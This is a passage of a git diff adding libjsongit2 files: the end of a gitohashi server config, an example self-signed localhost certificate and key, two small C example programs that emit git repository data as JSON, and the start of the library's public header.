\u0022no-referrer\u0022\n+\t\t}],\n+\n+\t\t\u0022ws-protocols\u0022: [\n+\n+\t\t{ \u0022gitohashi\u0022: {\n+\t\t\t# template HTML to use for this vhost. You'd normally\n+\t\t\t# copy this to gitohashi-vhostname.html and modify it\n+\t\t\t# to show the content, logos, links, fonts, css etc for\n+\t\t\t# your vhost. It's not served directly but read from\n+\t\t\t# the filesystem. Although it's cached in memory by\n+\t\t\t# gitohashi, it checks for changes and reloads if\n+\t\t\t# changed automatically.\n+\t\t\t#\n+\t\t\t# Putting logos etc as svg in css is highly recommended,\n+\t\t\t# like fonts these can be transferred once with a loose\n+\t\t\t# caching policy. So in practice they cost very little,\n+\t\t\t# and allow the browser to compose the page without\n+\t\t\t# delay.\n+\t\t\t#\n+\t\t\t\u0022html-file\u0022:\t \u0022/usr/local/share/gitohashi/templates/gitohashi-example.html\u0022,\n+\t\t\t#\n+\t\t\t# vpath required at start of links into this vhost's\n+\t\t\t# gitohashi content for example if an external http\n+\t\t\t# server is proxying us, and has been told to direct\n+\t\t\t# URLs starting \u0022/git\u0022 to us, this should be set to\n+\t\t\t# \u0022/git/\u0022 so URLs we generate referring to our own pages\n+\t\t\t# can work.\n+\t\t\t#\n+\t\t\t\u0022vpath\u0022:\t \u0022/git/\u0022,\n+\t\t\t#\n+\t\t\t# base directory for the bare git repos we might serve\n+\t\t\t#\n+\t\t\t\u0022repo-base-dir\u0022: \u0022/srv/repositories\u0022,\n+\t\t\t#\n+\t\t\t# allow serving git repos that have gitolite read ACL\n+\t\t\t# rights for this user. Set to \u0022@all\u0022 to serve all\n+\t\t\t# available repos (except gitolite-admin, which will\n+\t\t\t# never be served) The recommended convention is a\n+\t\t\t# virtual user \u0022v-vhostname\u0022 in gitolite config and here\n+\t\t\t# to mark which repos should be made available on this\n+\t\t\t# vhost.\n+\t\t\t#\n+\t\t\t\u0022acl-user\u0022:\t \u0022@all\u0022,\n+\t\t\t#\n+\t\t\t# url mountpoint for the avatar cache\n+\t\t\t#\n+\t\t\t\u0022avatar-url\u0022:\t \u0022/git/avatar/\u0022,\n+\t\t\t#\n+\t\t\t# libjsgit2 JSON cache... this\n+\t\t\t# should not be directly served\n+\t\t\t#\n+\t\t\t\u0022cache-base\u0022:\t\u0022/var/cache/libjsongit2\u0022,\n+\t\t\t#\n+\t\t\t# restrict the JSON cache size\n+\t\t\t# to 100MB\n+\t\t\t#\n+\t\t\t\u0022cache-size\u0022: \u0022100000000\u0022,\n+\t\t\t#\n+\t\t\t# optional flags, b0 \u003d 1 \u003d blog mode\n+\t\t\t#\n+\t\t\t\u0022flags\u0022: 0\n+\t\t\t#\u0022blog-repo-name\u0022:\t\u0022myrepo\u0022\n+\t\t},\n+\t\t\u0022avatar-proxy\u0022: {\n+\t\t\t\u0022remote-base\u0022: \u0022https://www.gravatar.com/avatar/\u0022,\n+\t\t\t#\n+\t\t\t# this dir is served via avatar-proxy\n+\t\t\t#\n+\t\t\t\u0022cache-dir\u0022: \u0022/var/cache/libjsongit2\u0022\n+\t\t}\n+\t}\n+\t]\n+\t}\n+\t]\n+}\n+\ndiff --git a/example-cert/localhost-100y.cert.pem b/example-cert/localhost-100y.cert.pem\nnew file mode 100644\nindex 0000000..6f372db\n--- /dev/null\n+++ b/example-cert/localhost-100y.cert.pem\n@@ -0,0 +1,34 @@\n+-----BEGIN CERTIFICATE-----\n+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\n+e2Hl/7M0c/lbZ4FvXgARlex2rkgS0Ka06HE\u003d\n+-----END CERTIFICATE-----\ndiff --git a/example-cert/localhost-100y.key.pem b/example-cert/localhost-100y.key.pem\nnew file mode 100644\nindex 0000000..148f859\n--- /dev/null\n+++ b/example-cert/localhost-100y.key.pem\n@@ -0,0 +1,52 @@\n+-----BEGIN PRIVATE KEY-----\n+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\n+fBrpEY1IATtPq1taBZZogRqI3rOkkPk\u003d\n+-----END PRIVATE KEY-----\ndiff --git a/examples/minimal/README.md b/examples/minimal/README.md\nnew file mode 100644\nindex 0000000..b897099\n--- /dev/null\n+++ b/examples/minimal/README.md\n@@ -0,0 +1,21 @@\n+## Example commandline app\n+\n+This commandline app takes two args\n+\n+ - a directory where bare git repositories exist inside\n+\n+ - a \u0022url path\u0022 like /git/myrepo to specify what JSON is\n+ needed.\n+\n+## Build\n+\n+It's built along with the library\n+\n+## Example usage\n+\n+```\n+ $ jg2-example /srv/repositories /git/myrepo\n+ $ jg2-example /srv/repositories /git/myrepo?h\u003dmybranch\n+ $ jg2-example /srv/repositories /git/myrepo/commit?id\u003d\u003ccommit hash\u003e\n+```\n+\ndiff --git a/examples/minimal/jg2-example.c b/examples/minimal/jg2-example.c\nnew file mode 100644\nindex 0000000..da71232\n--- /dev/null\n+++ b/examples/minimal/jg2-example.c\n@@ -0,0 +1,149 @@\n+/*\n+ * jg2-example.c: minimal example for using libjsongit2\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This file is made available under the Creative Commons CC0 1.0\n+ * Universal Public Domain Dedication.\n+ *\n+ * The library is LGPL 2.1... this example is CC0 to ease getting started\n+ * with your own code using the library.\n+ *\n+ * You run it from the commandline with a fake \u0022url\u0022, against a bare git dir,\n+ * and it spits out the corresponding JSON. You use it like this\n+ *\n+ * - repo base dir\n+ * - \u0022url\u0022 part to give the library\n+ *\n+ * This example just sets the virtual url part to \u0022/git\u0022, this is pass in the\n+ * json to whatever will create links. The \u0022/git\u0022 part is snipped before\n+ * passing it to the library.\n+ *\n+ * jg2-example /srv/repositores /git/myrepo\n+ * jg2-example /srv/repositores /git/myrepo/commit?id\u003dsomehash\n+ * jg2-example /srv/repositores /git/myrepo/log?h\u003dmybranch\n+ */\n+\n+#include \u003clibjsongit2.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstdlib.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#define URL_VIRTUAL_PART \u0022/git\u0022\n+\n+int\n+main(int argc, char *argv[])\n+{\n+\tstruct jg2_ctx_create_args args;\n+\tstruct jg2_vhost_config config;\n+\tstruct jg2_vhost *vh;\n+\tstruct jg2_ctx *ctx;\n+\tconst char *mimetype;\n+\tunsigned long length;\n+\tint done, err \u003d 1;\n+\tchar etag[36];\n+\n+\tif (argc \u003c 3 || strlen(argv[2]) \u003c strlen(URL_VIRTUAL_PART)) {\n+\t\tfprintf(stderr, \u0022Usage: %s \u0022\n+\t\t\t\t\u0022\u003crepo base dir\u003e \u003c\u005c\u0022/git/... url path\u005c\u0022\u003e\u005cn\u0022,\n+\t\t\targv[0]);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tmemset(\u0026config, 0, sizeof(config));\n+\n+\t/*\n+\t * this is the \u0022virtual\u0022 part of the URLs, we just fix it to \u0022git\u0022\n+\t * for the sake of a simple example.\n+\t */\n+\tconfig.virtual_base_urlpath \u003d \u0022/git\u0022;\n+\n+\t/*\n+\t * this is the directory where the bare repos are living,\n+\t * eg, /srv/repositories or whatever. The repository name\n+\t * from the URL is added to this to find out the actual repo to\n+\t * open. We pass it in the first arg\n+\t */\n+\tconfig.repo_base_dir \u003d argv[1];\n+\n+\t/*\n+\t * typically the vhost has its own \u0022user\u0022 for gitolite ACL matching.\n+\t *\n+\t * For the demo we just allow it to see all repos with this special\n+\t * macro name.\n+\t */\n+\tconfig.acl_user \u003d \u0022@all\u0022;\n+\n+\t/*\n+\t * the jg2 vhost holds things like different repo objects, information\n+\t * from the config set above, and universal cache for email + md5s. In\n+\t * a more complex usage, it exists for longer than one context lifetime.\n+\t */\n+\tvh \u003d jg2_vhost_create(\u0026config);\n+\tif (!vh) {\n+\t\tfprintf(stderr, \u0022failed to open vh\u005cn\u0022);\n+\n+\t\treturn 2;\n+\t}\n+\n+\t/*\n+\t * We create a jg2 context in the jg2 vhost, using the \u0022url\u0022\n+\t * from the commandline like \u0022/git/myrepo\u0022. Its lifetime is until\n+\t * we finished generating that specific JSON.\n+\t *\n+\t * We snip the \u0022/git\u0022 part simulating how a web server would have\n+\t * removed the virtual part of the URL\n+\t */\n+\n+\t/*\n+\t * This makes your code more forward-compatible, since NULL / 0 is\n+\t * almost always meaning \u0022not used\u0022 or \u0022default\u0022 for members introduced\n+\t * in later versions than your code was written with.\n+\t */\n+\tmemset(\u0026args, 0, sizeof(args));\n+\n+\targs.repo_path \u003d (const char *)argv[2] + strlen(URL_VIRTUAL_PART);\n+\targs.mimetype \u003d \u0026mimetype;\n+\targs.length \u003d \u0026length;\n+\targs.etag \u003d etag;\n+\targs.etag_length \u003d sizeof(etag);\n+\n+\tif (jg2_ctx_create(vh, \u0026ctx, \u0026args)) {\n+\t\tfprintf(stderr, \u0022failed to open ctx for %s\u005cn\u0022, argv[2]);\n+\n+\t\tgoto bail;\n+\t}\n+\n+\tdo {\n+\t\tchar buf[4096];\n+\t\tsize_t used;\n+\n+\t\t/* the context is stateful, we don't have to do this all at\n+\t\t * once and we can use a different buffer every time if we\n+\t\t * want.\n+\t\t */\n+\n+\t\tdone \u003d jg2_ctx_fill(ctx, buf, sizeof(buf), \u0026used);\n+\t\tif (done \u003c 0) {\n+\t\t\tfprintf(stderr, \u0022json job failed\u005cn\u0022);\n+\n+\t\t\tgoto bail1;\n+\t\t}\n+\n+\t\t/* issue on stdout */\n+\t\twrite(1, buf, used);\n+\n+\t} while (!done);\n+\n+\terr \u003d 0;\n+\n+bail1:\n+\tjg2_ctx_destroy(ctx);\n+\n+bail:\n+\tjg2_vhost_destroy(vh);\n+\n+\treturn err;\n+}\ndiff --git a/examples/threadchurn/README.md b/examples/threadchurn/README.md\nnew file mode 100644\nindex 0000000..e69de29\n--- /dev/null\n+++ b/examples/threadchurn/README.md\ndiff --git a/examples/threadchurn/threadchurn.c b/examples/threadchurn/threadchurn.c\nnew file mode 100644\nindex 0000000..ed6d723\n--- /dev/null\n+++ b/examples/threadchurn/threadchurn.c\n@@ -0,0 +1,143 @@\n+/*\n+ * threadchurn.c: test app for threadsafe api access\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This file is made available under the Creative Commons CC0 1.0\n+ * Universal Public Domain Dedication.\n+ *\n+ * The library is LGPL 2.1... this example is CC0 to ease getting started\n+ * with your own code using the library.\n+ *\n+ * You run it from the commandline with a fake \u0022url\u0022, against a bare git dir,\n+ * and it spits out the corresponding JSON. You use it like this\n+ *\n+ * - repo base dir\n+ * - \u0022url\u0022 part to give the library\n+ *\n+ * This example just sets the virtual url part to \u0022/git\u0022, this is pass in the\n+ * json to whatever will create links. The \u0022/git\u0022 part is snipped before\n+ * passing it to the library.\n+ *\n+ * jg2-threadchurn /srv/repositores /git/myrepo\n+ *\n+ * The example spawns 8 threads each doing 1000 fetches from the urlpath\n+ * concurrently using the same vhost.\n+ */\n+\n+#include \u003clibjsongit2.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstdlib.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \u003cpthread.h\u003e\n+\n+#define URL_VIRTUAL_PART \u0022/git\u0022\n+\n+static struct jg2_vhost *vh;\n+static int count_threads \u003d 16;\n+\n+static void *\n+thread_spam(void *d)\n+{\n+\tstruct jg2_ctx_create_args args;\n+\tchar **argv \u003d (char **)d;\n+\tconst char *mimetype;\n+\tunsigned long length;\n+\tstruct jg2_ctx *ctx;\n+\tint budget \u003d 10000, did \u003d 0, tried \u003d 0;\n+\tchar etag[36];\n+\tint done;\n+\n+\tdo {\n+\t\tmemset(\u0026args, 0, sizeof(args));\n+\n+\t\targs.repo_path \u003d (const char *)argv[2] +\n+\t\t\t\t strlen(URL_VIRTUAL_PART);\n+\t\targs.mimetype \u003d \u0026mimetype;\n+\t\targs.length \u003d \u0026length;\n+\t\targs.etag \u003d etag;\n+\t\targs.etag_length \u003d sizeof(etag);\n+\n+\t\tif (jg2_ctx_create(vh, \u0026ctx, \u0026args)) {\n+\t\t\tfprintf(stderr, \u0022failed to open ctx for %s\u005cn\u0022, argv[2]);\n+\n+\t\t\tbreak;\n+\t\t}\n+\n+\t\tdo {\n+\t\t\tchar buf[4096];\n+\t\t\tsize_t used;\n+\n+\t\t\tdone \u003d jg2_ctx_fill(ctx, buf, sizeof(buf), \u0026used);\n+\t\t\tif (done \u003c 0) {\n+\t\t\t\tfprintf(stderr, \u0022json job failed\u005cn\u0022);\n+\n+\t\t\t\tbreak;\n+\t\t\t}\n+\n+\t\t\t/* issue on stdout */\n+\t\t\twrite(1, buf, used);\n+\n+\t\t} while (!done);\n+\n+\t\tif (done \u003e 0)\n+\t\t\tdid++;\n+\n+\t\tjg2_ctx_destroy(ctx);\n+\n+\n+\t} while (++tried \u003c budget);\n+\n+\tfprintf(stderr, \u0022thread %p: did %d / %d\u005cn\u0022, (void *)pthread_self(),\n+\t\t\tdid, budget);\n+\n+\tpthread_exit(NULL);\n+\n+\treturn NULL;\n+}\n+\n+int\n+main(int argc, char *argv[])\n+{\n+\tstruct jg2_vhost_config config;\n+\tpthread_t pts[16];\n+\tint n;\n+\tvoid *retval;\n+\n+\tif (argc \u003c 3 || strlen(argv[2]) \u003c strlen(URL_VIRTUAL_PART)) {\n+\t\tfprintf(stderr, \u0022Usage: %s \u0022\n+\t\t\t\t\u0022\u003crepo base dir\u003e \u003c\u005c\u0022/git/... url path\u005c\u0022\u003e\u005cn\u0022,\n+\t\t\targv[0]);\n+\n+\t\treturn 1;\n+\t}\n+\n+\tmemset(\u0026config, 0, sizeof(config));\n+\n+\tconfig.virtual_base_urlpath \u003d \u0022/git\u0022;\n+\tconfig.repo_base_dir \u003d argv[1];\n+\tconfig.acl_user \u003d \u0022@all\u0022;\n+\n+\tvh \u003d jg2_vhost_create(\u0026config);\n+\tif (!vh) {\n+\t\tfprintf(stderr, \u0022failed to open vh\u005cn\u0022);\n+\n+\t\treturn 2;\n+\t}\n+\n+\tfor (n \u003d 0; n \u003c count_threads; n++)\n+\t\tif (pthread_create(\u0026pts[n], NULL, thread_spam, argv)) {\n+\t\t\tfprintf(stderr, \u0022thread creation failed\u005cn\u0022);\n+\t\t}\n+\n+\t/* wait for the threads to complete */\n+\n+\tfor (n \u003d 0; n \u003c count_threads; n++)\n+\t\tpthread_join(pts[n], \u0026retval);\n+\n+\tjg2_vhost_destroy(vh);\n+\n+\treturn 0;\n+}\ndiff --git a/include/libjsongit2.h b/include/libjsongit2.h\nnew file mode 100644\nindex 0000000..b15f5e9\n--- /dev/null\n+++ b/include/libjsongit2.h\n@@ -0,0 +1,214 @@\n+/*\n+ * libjsongit2.h - Public API for JSON wrapper for libgit2\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n+ * MA 02110-1301 USA\n+ */\n+\n+#if !defined(__LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559)\n+#define __LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559\n+\n+#include \u003cstddef.h\u003e\n+#include \u003cstdint.h\u003e\n+\n+#if defined(__GNUC__)\n+#define JG2_VISIBLE __attribute__((visibility(\u0022default\u0022)))\n+#else\n+#define JG2_VISIBLE\n+#endif\n+\n+struct jg2_vhost;\n+struct jg2_ctx;\n+\n+typedef void * jg2_md5_context;\n+\n+struct jg2_vhost_config {\n+\n+\t/* mandatory */\n+\n+\tconst char *virtual_base_urlpath; /**\u003c Mandatory; like \u0022/git\u0022 */\n+\tconst char *repo_base_dir; /**\u003c Mandatory; like \u0022/srv/repositories\u0022 */\n+\n+\t/* optional */\n+\n+\tconst char *acl_user; /**\u003c like \u0022v-warmcat\u0022... this user is checked for\n+\t \t \t \t READ access to allow showing repos on this\n+\t \t \t \t vhost... context may supply an authorized\n+\t \t \t \t user additionally that is additively checked.\n+\t \t \t \t NULL if not used. */\n+\n+\tconst char *vhost_html_filepath; /**\u003c like \u0022/etc/jsongit2/vh1.html\u0022\n+\t\tthis is optional if you don't want JSON sandwiched in HTML */\n+\tconst char *avatar_url; /**\u003c NULL for \u0022//www.gravatar.com/avatar/\u0022,\n+\t\t\t\t else your server / proxy cache base URL */\n+\tconst char *json_cache_base; /**\u003c directory to place JSON cache,\n+\t\t\t\t\t* /var/cache/libjsongit2 recommended;\n+\t\t\t\t\t* disabled if left NULL */\n+\n+\tuint64_t cache_size_limit; /**\u003c goal for max cache size in bytes,\n+\t\t\t\t * 0 means use default of 256MiB */\n+\n+\tint cache_uid; /**\u003c if you create the vhosts while still being root\n+\t\t\t * and later change uid + gid, you can set the uid\n+\t\t\t * of the cache directory permissions here, even if the\n+\t\t\t * cache dir is somewhere privileged like /var/cache/...\n+\t\t\t * The mode of the cache directory and its subdirecties\n+\t\t\t * is set to 0700. Leave at 0 if you set the cache dirs\n+\t\t\t * up externally */\n+\n+\tint email_hash_bins; /**\u003c email cache hash bins (0 defaults to 16) */\n+\tint email_hash_depth; /**\u003c max emails per hash bin (0 defaults to 16) */\n+\n+\tvoid *avatar_arg; /**\u003c opaque pointer passed to avatar callback, if set */\n+\n+#define JG2_VHOST_BLOG_MODE 1\n+\tunsigned int flags; /* OR-ed flags: JG2_VHOST_BLOG_MODE \u003d \u0022blog mode\u0022 */\n+\tconst char *blog_repo_name; /**\u003c the repo name of the blog, if blog mode */\n+\n+\t/* optional md5 acceleration */\n+\n+\tjg2_md5_context (*md5_alloc)(void);\n+\t/**\u003c user code can provide accelerated md5, default of NULL means\n+\t use internal implementation. All four callbacks must be given\n+\t if md5_alloc() is set. Note that md5_fini does NOT free() the\n+\t pointer returned by md5_alloc(), since often you want to\n+\t allocate once and reuse. */\n+\tvoid (*md5_init)(jg2_md5_context _ctx);\n+\t/**\u003c callback prepares \u005cp _ctx to perform a new hash */\n+\tint (*md5_upd)(jg2_md5_context _ctx, const unsigned char *input,\n+\t\t size_t ilen);\n+\t/**\u003c callback adds \u005cp ilen bytes from \u005cp input to the hash */\n+\tint (*md5_fini)(jg2_md5_context _ctx, unsigned char output[16]);\n+\t/**\u003c copies the final hash to \u005cp output. \u005cp _ctx must be freed by the\n+\t * user afterwards (or reused after md5_init() on it again) */\n+\n+\t/* optional event callbacks */\n+\n+\tvoid (*refchange)(void *user);\n+\t/**\u003c user handler for contexts who repo reflist has changed */\n+\tint (*avatar)(void *avatar_arg, const unsigned char *md5);\n+\t/**\u003c optional hook called when an avatar md5 was computed... eg\n+\t * can be used to prime a side-cache with the avatar image\n+\t */\n+};\n+\n+struct jg2_ctx_create_args {\n+\tconst char *repo_path; /**\u003c filesystem path to the repo */\n+#define JG2_CTX_FLAG_HTML 1\n+#define JG2_CTX_FLAG_BOT 2\n+\tint flags; /**\u003c bitwise-ORed flags: JG2_CTX_FLAG_HTML \u003d generate HTML\n+\t\t\taround the JSON, using the vhost HTML file;\n+\t\t\tabsent \u003d pure JSON, JG2_CTX_FLAG_BOT \u003d don't create\n+\t\t\tcache entries for this context */\n+\tconst char **mimetype; /**\u003c pointer to const char * to take pointer\n+\t\t\t\t to mimetype */\n+\tunsigned long *length; /**\u003c pointer 